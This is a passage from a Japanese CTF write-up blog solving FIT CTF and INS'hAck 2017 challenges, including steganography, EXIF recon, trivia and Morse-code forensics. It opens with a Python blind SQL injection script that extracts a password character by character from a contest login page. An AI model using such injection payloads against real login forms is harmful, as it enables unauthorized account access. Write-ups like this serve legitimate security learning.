    req = {'name':"' or (select length(pass) from user) = " + str(i) + " --", 'pass':''}
    params = urllib.urlencode(req)
    url = 'https://login.problem.ctf.nw.fit.ac.jp/login.php'
    request = urllib2.Request(url, params)
    response = urllib2.urlopen(request)
    data = response.read()
    if 'flag' in data:
        print "The password has " + str(i) + " characters"
        passlen = i
        break

for j in range(1,passlen + 1):
    for x in range(32,127):
        req = {'name':"' or substr((SELECT pass FROM user)," + str(j) + ",1)='" + chr(x) + "'--", 'pass':''}
        params = urllib.urlencode(req)
        url = 'https://login.problem.ctf.nw.fit.ac.jp/login.php'
        request = urllib2.Request(url, params)
        response = urllib2.urlopen(request)
        data = response.read()
        if 'flag' in data:
            print chr(x),
            passwordlist.append(chr(x))
            break
        
password = "".join(passwordlist)
print ""
print "The password is " + password

この結果は以下の通り。

The password has 21 characters
F I T { 9 n 8 9 _ y 0 u 3 u _ 9 a 8 1 1 }
The password is FIT{9n89_y0u3u_9a811}
FIT{9n89_y0u3u_9a811}

Specific (Recon 100)

EXIF情報を見る。

ファイル名: photo.jpg [1/1]
画像サイズ: 3.3MB
更新日時: 2017/04/08 20:34:27
画像情報: 3840x2160 (Jpeg,YUV,sRGB)

メーカー: Sony
カメラ: SOV33
ソフトウェア: 39.2.C.0.203_0_f700
撮影日時: 2017/02/19 09:50:28
フラッシュ使用: No
焦点距離: 4.23mm
シャッター速度: 0.000500s  (1/2000)
絞り: f/2.0
ISO感度: 40
測光方式: Pattern
GPS情報: N 31°49'25.90", E 130°18'52.86" 

Googleマップで「31°49'25.90"N 130°18'52.86"E 」を調べ、その周辺から橋の名前を調べる。
「天大橋」(てんたいばし)ということがわかった。

FIT{tentaibashi}

Dissonance (Steganography 50)

$ file dissonance.wav 
dissonance.wav: Standard MIDI data (format 1) using 18 tracks at 1/480

拡張子をmidに変更し、Music Studiop Producerで開き、ピアノロールを見る。
f:id:satou-y:20170424203556p:plain

FIT{Jwbx4CtiL8Et}

MP3Stego (Steganography 100)

mp3ファイルのプロパティを見ると、コメントに「The pass is dialup」と書いてある。タイトルにある通り、MP3Stegoを使い、このパスワードでデコードする。

>decode -X -P dialup connection.mp3
MP3StegoEncoder 1.1.17
See README file for copyright info
Input file = 'connection.mp3'  output file = 'connection.mp3.pcm'
Will attempt to extract hidden information. Output: connection.mp3.txt
the bit stream file connection.mp3 is a BINARY file
HDR: s=FFF, id=1, l=3, ep=off, br=9, sf=0, pd=1, pr=0, m=3, js=0, c=0, o=0, e=0
alg.=MPEG-1, layer=III, tot bitrate=128, sfrq=44.1
mode=single-ch, sblim=32, jsbd=32, ch=1
[Frame 1056]Avg slots/frame = 421.481; b/smp = 2.93; br = 129.079 kbps
Decoding of "connection.mp3" is finished
The decoded PCM output file name is "connection.mp3.pcm"

connection.mp3.txtが出力され、フラグが書かれている。

FIT{PeePeeHyoroRorro}

trivia1 (Trivia 10)

「任意のコードがリモートで実行されるbashで見つかったバグは?」という問題。

FIT{SHELLSHOCK}

trivia2 (Trivia 10)

SSLのバージョン3.0に存在するドッグ・ブリードは?」という問題。

FIT{POODLE}

trivia3 (Trivia 10)

「VyOS 1.0.0 - 1.0.5」とだけ書かれた問題・

FIT{HYDROGEN}

trivia4 (Trivia 10)

「音声圧縮を行う音声符号化規格でMP3の後継フォーマットは?」という問題。

FIT{AAC}

trivia5 (Trivia 10)

GoogleとCWIによってなされたSHA-1コリジョン攻撃のニックネームは?」という問題。

FIT{SHATTERED}

INS'hAck 2017 Writeup

この大会は2017/4/7 1:30(JST)~2017/4/10 1:30(JST)に開催されました。
今回もチームで参戦。結果は1518点で418チーム中23位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (MISC 1)

問題にフラグが書かれている。

INSA{Youre_sane_Good_for_you}

Easy HTML (Web 25)

HTMLソースにフラグが書かれている。

<input type="hidden" value='TODO: change main password of "Admin" from "INSA{ThatWasATrainingOneDontWorry}" to "123456"'>
INSA{ThatWasATrainingOneDontWorry}

10 Cl0v3rf13ld Lane Signal (Forensics 75)

バイナリエディタで見ると、以下のようにファイルが入っているようだ。

00000000-00009733 JPG
00009734-0001A807 PNG
0001A808-         OGG

OGGAudacityで開くと、モールス信号のような線になっている。https://en.wikipedia.org/wiki/Morse_codeを参考に置き換える。

.. -. ... .- -.--. -- ----- .-. ..... ...-- ..--.- .-- .---- .-.. .-.. ..--.- -. ...-- ...- ...-- .-. ..--.- ....- --. ...-- -.-.-- -.--.-
I  N  S   A  {     M  0     R   5     3     _      W   1     L    L    _      N  3     V    3     R   _      4     G   3     !      }
INSA{M0R53_W1LL_N3V3R_4G3!}